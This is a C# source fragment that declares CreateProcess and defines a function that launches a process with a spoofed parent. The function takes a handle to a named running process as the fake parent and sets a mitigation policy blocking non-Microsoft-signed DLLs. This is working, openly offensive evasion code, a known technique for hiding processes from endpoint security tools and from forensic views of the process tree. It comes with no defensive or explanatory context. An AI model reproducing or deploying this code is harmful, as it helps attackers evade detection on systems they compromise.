public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref STRUCTS.SECURITY_ATTRIBUTES lpProcessAttributes, ref STRUCTS.SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, STRUCTS.ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STRUCTS.STARTUPINFOEX lpStartupInfo, out STRUCTS.PROCESS_INFORMATION lpProcessInformation);
public static IntPtr SpawnNewProtectedProcess(string parentProcess, string processName, string demoProcessToSpawn)
{
/*allocating memory shenanigans*/
STRUCTS.STARTUPINFOEX startInfoEx = new STRUCTS.STARTUPINFOEX();
STRUCTS.PROCESS_INFORMATION processInfo = new STRUCTS.PROCESS_INFORMATION();
startInfoEx.StartupInfo.cb = (uint)Marshal.SizeOf(startInfoEx);
IntPtr lpValue = Marshal.AllocHGlobal(IntPtr.Size);
STRUCTS.SECURITY_ATTRIBUTES processSecurity = new STRUCTS.SECURITY_ATTRIBUTES();
STRUCTS.SECURITY_ATTRIBUTES threadSecurity = new STRUCTS.SECURITY_ATTRIBUTES();
processSecurity.nLength = Marshal.SizeOf(processSecurity);
threadSecurity.nLength = Marshal.SizeOf(threadSecurity);
/*initializing the attributelist*/
var lpSize = IntPtr.Zero;
IMPORTS.InitializeProcThreadAttributeList(IntPtr.Zero, 2, 0, ref lpSize);
startInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);
IMPORTS.InitializeProcThreadAttributeList(startInfoEx.lpAttributeList, 2, 0, ref lpSize);
/*writing the mitigation policy*/
Marshal.WriteIntPtr(lpValue, new IntPtr((long)STRUCTS.BinarySignaturePolicy.BLOCK_NON_MICROSOFT_BINARIES_ALLOW_STORE));
IMPORTS.UpdateProcThreadAttribute(
startInfoEx.lpAttributeList,
0,
(IntPtr)STRUCTS.ProcThreadAttribute.MITIGATION_POLICY,
lpValue,
(IntPtr)IntPtr.Size,
IntPtr.Zero,
IntPtr.Zero
);
/*spoofing Parent*/
IntPtr parentHandle = Process.GetProcessesByName(parentProcess)[0].Handle;
lpValue = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.WriteIntPtr(lpValue, parentHandle);
IMPORTS.UpdateProcThreadAttribute(
startInfoEx.lpAttributeList,
0,
(IntPtr)STRUCTS.ProcThreadAttribute.PARENT_PROCESS,
lpValue,
(IntPtr)IntPtr.Size,
IntPtr.Zero,
IntPtr.Zero
);
IMPORTS.CreateProcess(
null,
"\"" + processName + "\"" + " " + demoProcessToSpawn,
ref processSecurity,
ref threadSecurity,
false,
STRUCTS.ProcessCreationFlags.CREATE_NEW_CONSOLE | STRUCTS.ProcessCreationFlags.EXTENDED_STARTUPINFO_PRESENT,
IntPtr.Zero,
null,
ref startInfoEx,
out processInfo
);
/*mem cleaning */
IMPORTS.DeleteProcThreadAttributeList(startInfoEx.lpAttributeList);
Marshal.FreeHGlobal(startInfoEx.lpAttributeList);
Marshal.FreeHGlobal(lpValue);
Console.WriteLine("{0} started", processInfo.dwProcessId);
return(processInfo.hProcess);
}